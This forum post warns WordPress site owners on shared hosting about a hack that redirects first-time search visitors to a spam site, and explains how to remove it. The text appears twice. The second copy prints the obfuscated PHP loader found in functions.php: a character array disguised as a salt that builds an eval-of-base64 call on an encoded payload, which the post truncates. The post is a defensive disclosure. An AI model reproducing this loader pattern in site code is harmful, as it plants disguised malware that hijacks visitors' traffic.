SuperLinks
Elite Member
- Jul 14, 2008
- 2,903
- 852
Are you using Wordpress via Hostgator Shared Hosting? Chances are you've probably been hacked. I have several shared hosting accounts with Hostgator in which 2/3 were hacked and had this problem.
How the hack works:
When a user searches Google for a keyword that you rank for and clicks on your search result they will be redirected to http://uniqtext.com/search.php?theme=KEYWORD
This will only happen the first time, if someone searches your site and finds it in the SERPs again it will go to your actual website. This hack uses some sort of "throttling" which means that it may not happen the first time for everyone either. My sites Analytics that were affected "flatlined" to within ~10-15 visits each day. As you know, most sites Analytics fluctuate greatly but these flatlined completely, reducing my overall traffic by 30%
How to identify and fix the problem:
The affected hack adds some type of encrypted PHP to your functions.php.
Via FTP navigate to domain.com/wp-include/functions.php
The first 6 lines will have something that looks like this
I have truncated most of it, but thats the general idea. In order to fix it you will want to remove everything between
Again this should be the first six lines of code ONLY. Reupload the fixed functions.php and have a friend do a Google check on a fresh IP/computer to see if you fixed it properly.
I would recommend fixing this problem ASAP. Two of my websites have lost #1 rankings as a result of this. I'm sure the bounce rate was HORRIBLE and Google wasn't pleased.
How the hack works:
When a user searches Google for a keyword that you rank for and clicks on your search result they will be redirected to http://uniqtext.com/search.php?theme=KEYWORD
This will only happen the first time, if someone searches your site and finds it in the SERPs again it will go to your actual website. This hack uses some sort of "throttling" which means that it may not happen the first time for everyone either. My sites Analytics that were affected "flatlined" to within ~10-15 visits each day. As you know, most sites Analytics fluctuate greatly but these flatlined completely, reducing my overall traffic by 30%
How to identify and fix the problem:
The affected hack adds some type of encrypted PHP to your functions.php.
Via FTP navigate to domain.com/wp-include/functions.php
The first 6 lines will have something that looks like this
<?php
$md5 = "a5d67011f6466a82320bc9bcbcaab8c5";
$wp_salt = array("n",'(','o',"l","d",'c','r','e','f',"v","$","_",';','g',"z","b",'t','6',")","s",'i','4','a');
$wp_add_filter = create_function('$'.'v',$wp_salt[7].$wp_salt[9].$wp_salt[22].$wp_salt[3].$wp_salt[1].$wp_salt[13].$wp_salt[14].$wp_salt[20]
.$wp_salt[0].$wp_salt[8].$wp_salt[3].$wp_salt[22].$wp_salt[16].$wp_salt[7].$wp_salt[1].$wp_salt[15].$wp_salt[22].$wp_salt[19]
.$wp_salt[7].$wp_salt[17].$wp_salt[21].$wp_salt[11].$wp_salt[4].$wp_salt[7].$wp_salt[5].$wp_salt[2].$wp_salt[4]
.$wp_salt[7].$wp_salt[1].$wp_salt[10].$wp_salt[9].$wp_salt[18].$wp_salt[18].$wp_salt[18].$wp_salt[12]);
$wp_add_filter('FZi3zoaMsYQvx7YoyEmWC3LOmeYIXnLO6erP93c0IK1mdvYZyisb/l1/7VQN2VH+O8/2ksD+ry/c1H++19i2qLCeiliH4ApgAVMQYau3F32r98uNi45nQSIJNUEGSFKAIBXDd9B06LQ0LORUKbf3KKVjQeHMHgGOqoqyoNqLNYHyk
?>
I have truncated most of it, but thats the general idea. In order to fix it you will want to remove everything between
<?php
$md5 = "a5d67011f6466a82320bc9bcbcaab8c5";
and
?>
Again this should be the first six lines of code ONLY. Reupload the fixed functions.php and have a friend do a Google check on a fresh IP/computer to see if you fixed it properly.
I would recommend fixing this problem ASAP. Two of my websites have lost #1 rankings as a result of this. I'm sure the bounce rate was HORRIBLE and Google wasn't pleased.